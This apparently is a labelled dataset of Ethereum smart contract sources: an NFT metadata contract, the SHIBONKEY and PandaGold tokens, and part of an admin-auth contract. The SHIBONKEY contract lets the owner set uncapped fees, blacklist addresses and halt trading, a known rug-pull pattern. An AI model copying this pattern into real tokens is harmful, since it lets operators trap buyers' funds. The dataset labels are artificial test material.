keyTimes="0; 0.055; 0.100; 0.125; 0.159; 0.182; 0.202; 0.236; 0.268; 0.326; 0.357; 0.400; 0.408; 0.461; 0.493; 0.513; 1" repeatCount="indefinite"/> </feMerge> <feMerge> <feMergeNode in="SourceGraphic"/> <feMergeNode in="merge1"/> <feMergeNode in="merge2"/> </feMerge> </filter> </defs> <g> <text x="50%" y="20" dominant-baseline="middle" text-anchor="middle"> NFT8008 </text> <text style="font-size:32px" x="50%" y="50" dominant-baseline="middle" text-anchor="middle"> #';
parts[1] = Utils.toString(tokenId);
parts[2] = "</text></g></svg>";
string memory output = string(
abi.encodePacked(parts[0], parts[1], parts[2])
);
string memory json = Base64.encode(
bytes(
string(
abi.encodePacked(
'{"name": "NFT8008 Passport #',
Utils.toString(tokenId),
'", "description": "NFT8008 is your passport to the 8008 digital collectible world. It is the all-in-one pass for the ever expanding 8008 meta-universe. Buy once, valid forever!", "image": "data:image/svg+xml;base64,',
Base64.encode(bytes(output)),
'"}'
)
)
)
);
output = string(
abi.encodePacked("data:application/json;base64,", json)
);
return output;
}
}
library Utils {
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT license
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
}
/// [MIT License]
/// @title Base64
/// @notice Provides a function for encoding some bytes in base64
/// @author Brecht Devos <[email protected]>
library Base64 {
bytes internal constant TABLE =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// @notice Encodes some bytes to the base64 representation
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((len + 2) / 3);
// Add some extra buffer at the end
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
} lt(i, len) {
} {
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(
out,
and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)
)
out := shl(8, out)
out := add(
out,
and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)
)
out := shl(8, out)
out := add(
out,
and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)
)
out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-03-24
*/
/*
░██████╗██╗░░██╗██╗██████╗░░█████╗░███╗░░██╗██╗░░██╗███████╗██╗░░░██╗
██╔════╝██║░░██║██║██╔══██╗██╔══██╗████╗░██║██║░██╔╝██╔════╝╚██╗░██╔╝
╚█████╗░███████║██║██████╦╝██║░░██║██╔██╗██║█████═╝░█████╗░░░╚████╔╝░
░╚═══██╗██╔══██║██║██╔══██╗██║░░██║██║╚████║██╔═██╗░██╔══╝░░░░╚██╔╝░░
██████╔╝██║░░██║██║██████╦╝╚█████╔╝██║░╚███║██║░╚██╗███████╗░░░██║░░░
╚═════╝░╚═╝░░╚═╝╚═╝╚═════╝░░╚════╝░╚═╝░░╚══╝╚═╝░░╚═╝╚══════╝░░░╚═╝░░░
Telegram: https://t.me/shibonkey
Website: https://shibonkey.com
Twitter: https://t.me/shibonkey
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract shibonkeytoken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SHIBONKEY";
string private constant _symbol = "SHIBONKEY";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x27916B9DAb79ACc35B8632AEd9eD4762bDB77CaE);
address payable private _marketingAddress = payable(0x27916B9DAb79ACc35B8632AEd9eD4762bDB77CaE);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | True | [
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pragma solidity ^0.4.23;
/**
* @title SafeMath
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20 interface
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _owner) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint256);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* @title Owned
*/
contract Owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
/**
* @title ERC20 token
*/
contract ERC20Token is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalToken;
function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(balances[_from] >= _value);
require(allowed[_from][msg.sender] >= _value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function totalSupply() public view returns (uint256) {
return totalToken;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
}
/**
* @title PandaGold Token
*/
contract PandaGoldToken is ERC20Token, Owned {
string public constant name = "PandaGold Token";
string public constant symbol = "PANDA";
uint256 public constant decimals = 18;
uint256 public constant initialToken = 2000000000 * (10 ** decimals);
uint256 public constant publicToken = initialToken * 55 / 100; // 55%
uint256 public constant founderToken = initialToken * 10 / 100; // 10%
uint256 public constant developmentToken = initialToken * 10 / 100; // 10%
uint256 public constant bountyToken = initialToken * 5 / 100; // 5%
uint256 public constant privateSaleToken = initialToken * 10 / 100; // 10%
uint256 public constant preSaleToken = initialToken * 10 / 100; // 10%
address public constant founderAddress = 0x003d9d0ebfbDa7AEc39EEAEcc4D47Dd18eA3c495;
address public constant developmentAddress = 0x00aCede2bdf8aecCedb0B669DbA662edC93D6178;
address public constant bountyAddress = 0x00D42B2864C6E383b1FD9E56540c43d3815D486e;
address public constant privateSaleAddress = 0x00507Bf4d07A693fB7C4F9d846d58951042260aa;
address public constant preSaleAddress = 0x00241bD9aa09b440DE23835BB2EE0a45926Bb61A;
address public constant rescueAddress = 0x005F25Bc2386BfE9E5612f2C437c5e5E45720874;
uint256 public constant founderLockEndTime = 1577836800; // 2020-01-01 00:00:00 GMT
uint256 public constant developmentLockEndTime = 1559347200; // 2019-06-01 00:00:00 GMT
uint256 public constant bountyLockEndTime = 1543363200; // 2018-11-28 00:00:00 GMT
uint256 public constant privateSaleLockEndTime = 1546300800; // 2019-01-01 00:00:00 GMT
uint256 public constant preSaleLockEndTime = 1543363200; // 2018-11-28 00:00:00 GMT
uint256 public constant maxDestroyThreshold = initialToken / 2;
uint256 public constant maxBurnThreshold = maxDestroyThreshold / 50;
mapping(address => bool) lockAddresses;
uint256 public destroyedToken;
event Burn(address indexed _burner, uint256 _value);
constructor() public {
totalToken = initialToken;
balances[msg.sender] = publicToken;
balances[founderAddress] = founderToken;
balances[developmentAddress] = developmentToken;
balances[bountyAddress] = bountyToken;
balances[privateSaleAddress] = privateSaleToken;
balances[preSaleAddress] = preSaleToken;
emit Transfer(0x0, msg.sender, publicToken);
emit Transfer(0x0, founderAddress, founderToken);
emit Transfer(0x0, developmentAddress, developmentToken);
emit Transfer(0x0, bountyAddress, bountyToken);
emit Transfer(0x0, privateSaleAddress, privateSaleToken);
emit Transfer(0x0, preSaleAddress, preSaleToken);
lockAddresses[founderAddress] = true;
lockAddresses[developmentAddress] = true;
lockAddresses[bountyAddress] = true;
lockAddresses[privateSaleAddress] = true;
lockAddresses[preSaleAddress] = true;
destroyedToken = 0;
}
modifier transferable(address _addr) {
require(!lockAddresses[_addr]);
_;
}
function unlock() public onlyOwner {
if (lockAddresses[founderAddress] && now >= founderLockEndTime)
lockAddresses[founderAddress] = false;
if (lockAddresses[developmentAddress] && now >= developmentLockEndTime)
lockAddresses[developmentAddress] = false;
if (lockAddresses[bountyAddress] && now >= bountyLockEndTime)
lockAddresses[bountyAddress] = false;
if (lockAddresses[privateSaleAddress] && now >= privateSaleLockEndTime)
lockAddresses[privateSaleAddress] = false;
if (lockAddresses[preSaleAddress] && now >= preSaleLockEndTime)
lockAddresses[preSaleAddress] = false;
}
function transfer(address _to, uint256 _value) public transferable(msg.sender) returns (bool) {
return super.transfer(_to, _value);
}
function approve(address _spender, uint256 _value) public transferable(msg.sender) returns (bool) {
return super.approve(_spender, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public transferable(_from) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function burn(uint256 _value) public onlyOwner returns (bool) {
require(balances[msg.sender] >= _value);
require(maxBurnThreshold >= _value);
require(maxDestroyThreshold >= destroyedToken.add(_value));
balances[msg.sender] = balances[msg.sender].sub(_value);
totalToken = totalToken.sub(_value);
destroyedToken = destroyedToken.add(_value);
emit Transfer(msg.sender, 0x0, _value);
emit Burn(msg.sender, _value);
return true;
}
function transferAnyERC20Token(address _tokenAddress, uint256 _value) public onlyOwner returns (bool) {
return ERC20(_tokenAddress).transfer(rescueAddress, _value);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-02-09
*/
// SPDX-License-Identifier: MIT
pragma solidity =0.8.10;
abstract contract IDFSRegistry {
function getAddr(bytes4 _id) public view virtual returns (address);
function addNewContract(
bytes32 _id,
address _contractAddr,
uint256 _waitPeriod
) public virtual;
function startContractChange(bytes32 _id, address _newContractAddr) public virtual;
function approveContractChange(bytes32 _id) public virtual;
function cancelContractChange(bytes32 _id) public virtual;
function changeWaitPeriod(bytes32 _id, uint256 _newWaitPeriod) public virtual;
}
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint256 digits);
function totalSupply() external view returns (uint256 supply);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
library Address {
//insufficient balance
error InsufficientBalance(uint256 available, uint256 required);
//unable to send value, recipient may have reverted
error SendingValueFail();
//insufficient balance for call
error InsufficientBalanceForCall(uint256 available, uint256 required);
//call to non-contract
error NonContractCall();
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
uint256 balance = address(this).balance;
if (balance < amount){
revert InsufficientBalance(balance, amount);
}
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
if (!(success)){
revert SendingValueFail();
}
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
uint256 balance = address(this).balance;
if (balance < value){
revert InsufficientBalanceForCall(balance, value);
}
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
if (!(isContract(target))){
revert NonContractCall();
}
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/// @dev Edited so it always first approves 0 and then the value, because of non standard tokens
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0));
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract MainnetAuthAddresses {
address internal constant ADMIN_VAULT_ADDR = 0xCCf3d848e08b94478Ed8f46fFead3008faF581fD;
address internal constant FACTORY_ADDRESS = 0x5a15566417e6C1c9546523066500bDDBc53F88C7;
address internal constant ADMIN_ADDR = 0x25eFA336886C74eA8E282ac466BdCd0199f85BB9; // USED IN ADMIN VAULT CONSTRUCTOR
}
contract AuthHelper is MainnetAuthAddresses {
}
contract AdminVault is AuthHelper {
address public owner;
address public admin;
error SenderNotAdmin();
constructor() {
owner = msg.sender;
admin = ADMIN_ADDR;
}
/// @notice Admin is able to change owner
/// @param _owner Address of new owner
function changeOwner(address _owner) public {
if (admin != msg.sender){
revert SenderNotAdmin();
}
owner = _owner;
}
/// @notice Admin is able to set new admin
/// @param _admin Address of multisig that becomes new admin
function changeAdmin(address _admin) public {
if (admin != msg.sender){
revert SenderNotAdmin();
}
admin = _admin;
}
}
contract AdminAuth is AuthHelper {
using SafeERC20 for IERC20;
AdminVault public constant adminVault = AdminVault(ADMIN_VAULT_ADDR);
error SenderNotOwner();
error SenderNotAdmin();
modifier onlyOwner() {
if (adminVault.owner() != msg.sender){
revert SenderNotOwner();
}
_;
}
modifier onlyAdmin() {
if (adminVault.admin() != msg.sender){
revert SenderNotAdmin();
}
_;
}
/// @notice withdraw stuck funds
